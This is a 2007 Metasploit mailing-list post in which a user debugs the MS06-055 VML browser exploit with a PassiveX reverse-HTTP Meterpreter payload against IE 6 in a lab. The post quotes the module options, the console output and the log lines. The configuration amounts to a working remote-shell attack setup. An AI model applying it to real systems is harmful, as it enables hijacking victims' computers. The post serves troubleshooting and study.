[framework] PassiveX-based payloads and MS06-055

Angelo Dell'Aera buffer at softmedia.info
Tue Mar 13 12:53:17 CDT 2007


Il giorno Tue, 13 Mar 2007 09:42:32 -0700
mmiller at hick.org ha scritto:

> A few quick things to check:
> 
> 1) What version of IE is installed on the machine?  I'm assuming IE 6,
> but just need to be sure.

You're right... IE 6. 


> 2) What happens when you manually bring up the PX site after the
> values have been successfully altered?  In the previous example, you
> could try browsing to:
> 
> http://192.168.33.130:10000//OPrZwdoVOupJ0PB4rCdiaWXi1wIB5e9s
> 
> There might be some additional information you can collect by doing
> 'setg LogLevel 3' and then taking a look at
> ~/.msf3/logs/framework.log.

Following what you suggested me...

msf exploit(ms06_055_vml_method) > show options

Module options:

Name     Current Setting  Required Description 
-------------------  -------- ----------- 
SRVHOST  192.168.33.130 yes       The local host to listen on. 
SRVPORT   8080                  yes       The local port to listen on.
URIPATH    up                       no        The URI to use for this
				exploit (default is random)  


Payload options:

Name       Current Setting     Required Description 
------------------- --------  -----------
DLL        /home/buffer/msf3/data/meterpreter/metsrv.dll  yes       The
					local path to the DLL to upload
EXITFUNC seh                yes       Exit technique: seh, thread,
							process
PXAXCLSID B3AC7307-FEAE-4e43-B2D6-161E68ABA838 yes       ActiveX CLSID
PXAXDLL    /home/buffer/msf3/data/passivex/passivex.dll   yes ActiveX
							DLL to inject
PXAXVER -1,-1,-1,-1 	  yes 	ActiveX DLL Version
PXHOST 192.168.33.130 yes 	The local HTTP listener hostname
PXPORT 8080 		  yes 	The local HTTP listener port
PXURI      /px 			  no          The URI root for
							requests             


Exploit target:

   Id  Name                                
   --  ----                                
   0   Windows NT 4.0 -> Windows 2003 SP1  


msf exploit(ms06_055_vml_method) > exploit
[*] PassiveX listener started.
[*] Using URL: http://192.168.33.130:8080/up
[*] Server started.
[*] Exploit running as background job.
msf exploit(ms06_055_vml_method) > 
[*] Sending PassiveX main page to client 
[*] Sending PassiveX main page to client

The second "Sending..." message was displayed when I tried to directly
browsing 

 	http://192.168.33.130:8080/px

but it seems nothing still happens at all. Looking at this behavior it
seems to me the first stage gets executed and that the browser asks for
the PXHOST even in the first case but after this step nothing else.

These are the most significant lines in framework.log

[03/13/2007 18:20:29] [d(2)] core: windows/meterpreter/reverse_http:
Successfully encoded with encoder x86/shikata_ga_nai (size is 479)
[03/13/2007 18:20:29] [d(2)] core: PassiveX listener started on
http://192.168.33.130:8080/px 
[03/13/2007 18:20:41] [e(0)] rex: Failed to find handler for
resource: / 
[03/13/2007 18:20:47] [d(2)] core: windows/meterpreter/reverse_http:
Successfully encoded with encoder x86/shikata_ga_nai (size is 479)
[03/13/2007 18:21:15] [e(0)] rex: Failed to find handler for resource: /

After looking at this last log message I even tried setting PXURI to /
and to an empty string but no results at all even in this case.

Regards,

-- 

Angelo Dell'Aera 'buffer' 
Antifork Research, Inc.	  	http://buffer.antifork.org
Metro Olografix

PGP information in e-mail header


-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 197 bytes
Desc: not available
Url : http://spool.metasploit.com/pipermail/framework/attachments/20070313/cb22a4be/attachment.pgp 


More information about the framework mailing list